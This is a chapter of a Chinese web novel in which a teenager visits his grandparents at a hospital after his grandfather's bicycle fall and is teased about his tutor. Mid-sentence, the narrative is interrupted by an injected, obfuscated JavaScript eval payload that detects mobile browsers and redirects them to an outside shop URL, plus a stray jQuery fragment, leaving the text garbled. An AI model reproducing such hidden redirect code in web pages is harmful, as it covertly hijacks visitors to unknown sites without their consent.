33. Chapter 033

作品:《网恋对象住隔壁

    市第一人民医院。


    人来人往,根据谢毅衡的提示,汀砚很快在外科楼外的花坛旁,找到了汀老爷子。


    他揪紧的心算是稳稳落下来,正夹在两个老人中为难的谢毅衡也看到他,满脸求饶地朝着他招手。


    三步并作五步,他走到三人旁:“爷爷,您没事吧?”


    汀老爷子身着黑色中山装,头发花白,一米八的身高撑着,有不输年轻人的精气神。


    那双深陷的眼睛虽略浑浊却炯炯有神,他见宝贝孙子,随即一喜,左右拍打着衣角:“你看我像是有事的人吗?”


    “还说没事!就你嘴最硬!”汀奶奶忍不住捶了他的肩膀,哭得眼睛都红了。


    哪怕医生一再强调只是摔破了皮,扭到了点腰,贴几天膏药静养几天就没事了。


    汀老爷子想弯腰安抚,腰部猛地一疼,他扶着腰,温言细语:“你看我这不是没事吗?那医生都说了,我这是小事,静养几天就完全没问题了。”


    汀砚也是一阵后怕:“爷爷您都多大年纪了,还非得自己骑车去街上买东西,家里缺点什么给王叔打电话就好了,我爹早安排会给您送到家门口。”


    “乖孙真是长大了,都敢教育爷爷了。”


    汀老爷子脸上并无不满:“我都说了没事,让你安心学习,你怎么这么不听话?”


    汀砚接过他手里的药:“爷爷您还说,我要不亲自来一趟,哪里还能静下心学习?您就当我这几天学累了,出来放松一下。”


    汀老爷子重视教育的程度不输汀建宏:“你现在也看到了,我根本没事,都是你奶奶小题大做,只是摔了一下,还这么兴师动众给我送到医院里,各种检查,耽误事不说,最后还没检查出什么。”


    汀奶奶闻言又捶了他一下:“你还说!你还说!!非得检查出毛病你才高兴?”


    汀老爷子语气低了不少:“我不是这个意思,我就是说瞎折腾,还耽误草草的学习了。”


    汀奶奶齐肩的头发有些凌乱,她的发量比年轻人还厚,八十多岁拥有一口好牙齿,一颗都没修补过。


    谁都说她是温柔的老太太,唯独遇在汀老爷子健康的问题上才会急:“你自己多大年纪你不清楚?你还当自己是二三十岁的小伙子?一把老骨头还没点数,偏等到真出事了,你才长记性?”


    汀老爷子一看她火气就要上来,垂下头,像个犯错误的小孩,也不敢再吭气。


    汀砚扶住汀奶奶的胳膊:“奶奶,现在没事了,您别着急,我都到这里了,肯定不能让你受什么委屈。”


    汀奶奶又瞪了汀老爷子一眼。


    视线落在汀砚身上时,她分贝已然小了一半:“都怪你爷爷,家里没盐了,我说打电话让人过来送,小王今早来送过一趟了,你爷爷不好意思麻烦人家,我就说凑合吃一天没没事,他偏不听,骑着他那辆快报废的自行车就走,刹车坏了也不知道,还没走出胡同,就因为一个石子栽了跟头。”


    汀砚立刻表明立场:“是我爷爷让您担心了,我让他给您道歉。”


    “何止是道歉,我这腰都快折断了。”汀老爷子想缓和气氛,一看没人笑,就看到汀砚在疯狂给自己使眼色。


    他讪讪地收起刚到嘴边的笑:“以后这种事情不会再发生了。”


    汀砚赶忙圆场:“奶奶,我爷爷态度还不错,您就大人有大量,先把这件事放一边,等我爷爷腰养好了,您再罚他。”


    汀奶奶拍着他的手:“还是我的孙孙让我省心,正好你回来了,把那辆自行车处理了,都多少年了,比你都大好几岁,早该淘汰了。”


    这辆车是九十年代的老物件,那时汀建宏结婚时,他母亲苗纯带来的嫁妆。


    童年时这辆车的出场率很高,他父亲骑着从镇上到县里卖东西,他爷爷骑着买菜送他上学,后来电瓶车与汽车相继普及,这辆车便没多少用武之地。


    只是老人家恋旧。他爷爷把这辆自行车看做战友,内胎都不知换过多少次,然后是车链也换了几条,更不要说车座和车铃铛,零零碎碎。


    可以说,这辆车除了大框架,其余都是替代物。


    汀老爷子一听又抬起头:“虽然旧了,但那都是老物件,你也说比草草年纪还大,二十多年早有感情了。这也不是大毛病,就刹车片不灵敏了,我再去换就行。”


    汀奶奶瞪他:“你再说。”


    汀老爷子:“……”


    那辆自行车承载了汀家无数情感,见证了汀砚的成长,也记载了逝去的年岁,拥有特殊的意义。


    不止汀老爷子有感情,汀奶奶也只是一时气话。


    汀砚找了个办法:“奶奶,等回家了我就买把锁,把车锁上,到时候把钥匙交给您,我爷爷就算骑也得看您脸色。”


    汀老爷子忙不迭:“这主意好,这主意好。”


    汀奶奶没说话,算是同意。


    这件事算是画上了句号。


    她才笑起来,变成慈祥的老太太:“可得好好谢谢衡衡,现在医院都是网上挂号,我和你爷爷啥也不懂,都是衡衡忙前忙后帮忙,不然我们估计还像没头的苍蝇乱撞。”


    谢毅衡摆手:“奶奶您这么说就是没把我当孙子,我可是把您当亲奶奶,以后遇到这种事,也得给我打电话。”


    汀奶奶笑着:“好好好,都是我的好孙孙。”


    汀砚张望了两圈:“对了,是李婶送你们过来的吧?怎么不见她人?”


    “你李婶家还有个小孙孙需要照顾。”


    汀奶奶解释:“衡衡过来之后,我就让她先回家了,等回去之后,买点东西我们一起送过去,这真出了事,还真是远亲不如近邻,要不是有你李婶在,我还真不知道怎么过来。”


    汀砚了然地点头:“也到饭店了,你们折腾了这么久,也该吃点东西了,我们去外面找个店吃个饭。”


    谢毅衡扶着汀老爷子:“爷爷,您慢些,医生说您最近注意些,动作弧度都小一些,好的更快。”


    一行四人,走出医院。


    汀奶奶握着汀砚的手,另一只手在他的手背拍打:“最近学习怎么样了?我听你爹说给你找了个省状元补课,老师教得怎么样?有收获吗?”


    不等汀砚开口,谢毅衡就火燎燎接过话:“奶奶,我草哥没告诉你吗?他那小老师长得可漂亮了,唇红齿白,眉如新月,光是看照片,就知道和我草哥站一起可般配。”


    汀奶奶“啊”了一声,眼睛都亮了:“还是一小姑娘啊?刚高考,和你年龄差不多大吧?”


    她哪还关心什么成绩:“你们相处怎么样啊?平时除了学习,聊其他的吗?长什么样子,有照片吗?”


    汀砚听得头大:“奶奶,我是去学习的,没多余的心思。”


    汀奶奶摆手:“什么多余的心思?人生就只剩学习了吗?”


    说话时她斜眼看了汀老爷子一眼:“你别老听你爹和你爷爷那一套,自己也没多大学问不说,还给你这么大压,考得好坏,你都是我的好孙孙,别太有压力。”


    汀砚乖巧地应道:“知道了奶奶,我心里有数。”


    汀奶奶叹了口气:“有什么数?”


    她停顿下,接着说:“还有你爸妈的事,不是你的责任,大人的事让大人去处理,万事有定数,我们都放平心态。”


    老人家也只听说汀建宏和苗纯近几年感情不和,尤其是汀建宏生意起色之后,两人聚少离多。


    他们这些长辈也劝过,只是老了,有些事也是有心无力。


    汀奶奶继续说:“你妈也说了,就算是离婚了,她就当我女儿,照样喊我妈,你呢,也永远是她儿子,这是什么都改变不了的事实,所以草草啊,尽力而为,别有心理压力。”


    话题略沉重。


    汀砚有意错开话题:“奶奶啊,能和你商量件事吗?”


    汀奶奶点头。


    汀砚反握住她的手:“我都长大了,您能不能不喊我小名了?”


    汀奶奶态度


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977282|191647||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    坚定:“这可不行,这是我专门找人查八字给你算的,你还没出生时这个小名就定了。”


    “是正经算命的吗?您是不是让人给骗了?”


    汀砚表示怀疑,谁家好人家给人起名叫草啊。


    汀奶奶看他不高兴:“多好听啊,花花草草,一听就是姐弟俩,而且只是小名,只有家里人喊,再说你姐都当大明星了,也没嫌弃过小名不好听啊。”


    十八线不知名的小演员。


    汀砚在心里吐槽。


    谢毅衡一听关键词,小嘴开始叭叭了:“是啊,我也觉得非常好听,高端大气上档次,全天下独一份,都没有重名的。”


    “……”汀砚给他一个闭嘴的表情。


    有人撑腰,谢毅衡可什么都不怕,当即告状:“奶奶,草哥瞪我。”


    汀奶奶笑:“别怕,有我在,他不敢怎么样。”


    说说笑笑,走到了一家面馆,老板娘热情地招呼着他们去了四人桌,问他们需要吃些什么。


    老一辈的人节俭写进骨子里,最讨厌铺张浪费,只点了四菜一汤,外加一份馒头。


    饭间,汀奶奶一直给汀砚和谢毅衡夹菜,唯独冷落了汀老爷子,偏偏理亏,也是大气不敢出。


    等吃饭后,结了账后出了餐厅。


    迎面就撞上来找他们的人,汀砚和谢毅衡几乎同步出声:“王叔。”


    王阳穿了件黑色短袖,袖口处沾了些灰,隔着衣服都能感觉到他的肌肉线条,是个强壮的中年人。


    “汀叔您没事吧?”


    他还不等走到四人跟前,话先一步抵达:“我刚听李婶说您摔倒了,这才急忙赶过来。”


    汀老爷子起身,拍了拍他的肩膀:“本来就没什么大事,你看我这不好好的,是你婶子担心才过来求个安心,你这么忙,还得麻烦你过来跑一趟接我们回家。”


    “哪能叫麻烦?”王阳纠正道:“您说这话就生分了,您又不是不知道,我和建宏的关系多铁,那可是穿一条裤子长大的,比亲兄弟还亲。”


    汀奶奶忙安排着:“这事你没给建宏说吧?”


    王阳说:“没。我听李婶说衡衡在,给他打了个电话就着急忙慌地来了。”


    汀奶奶点头:“那就好,这件事就先别告诉建宏了,他知道了铁定得跑回来,现在生意正忙,就不让他瞎操心了,而且都检查过了,你王叔只是摔破点皮,没什么大事。”


    王阳犹豫了下。


    看汀老爷子确实没什么事,才答应:“那行吧,走吧,我把您送回家。”


    中型小轿车也能坐下五个人,汀老爷子毕竟是伤者,老实坐进了副驾。


    其余三人挤在后座,汀砚扶汀奶奶坐在中间,他和谢毅衡一边坐一个。


    谢母在市区开了家汉服店,谢毅衡暑假过来帮忙,现在住的小区距离医院骑车就五分钟的路程,他告诉王阳路线后,等着回家。


    暮色渐沉,正值晚高峰,街区异常拥堵,前行的速度好比龟速。


    他回家也没事,让王阳别着急,正好趁长辈坐镇,好敲打敲打汀砚。


    王阳抬眼望向后视镜:“草草也是刚回来吧?我听建宏说最近给你找了个学霸,把你送过去补课了?”


    谢毅衡一本正经纠正道:“王叔,是省状元,那可不是一般的学霸。”


    汀砚顿感不妙,方才好不容易绕开的话题,又卷土重来。


    汀奶奶又记起吃到一半的瓜:“衡衡你也见过吗?怎么知道得这么清楚?”


    谢毅衡刚想开口,旁边就杀过来一道冷眼,他下意识闭上了嘴巴。


    汀奶奶拍了下汀砚的大腿:“你不说还不许别人说了?”


    她扭过头:“衡衡,有什么就说什么,有奶奶在,他不敢欺负你。”


    有了最强靠山,谢毅衡还怕什么,蹬鼻子就要上脸:“我没见过,但我有照片,是我好不容易从网上找的。”


    汀奶奶急不可待道:“快拿过来给奶奶看看。”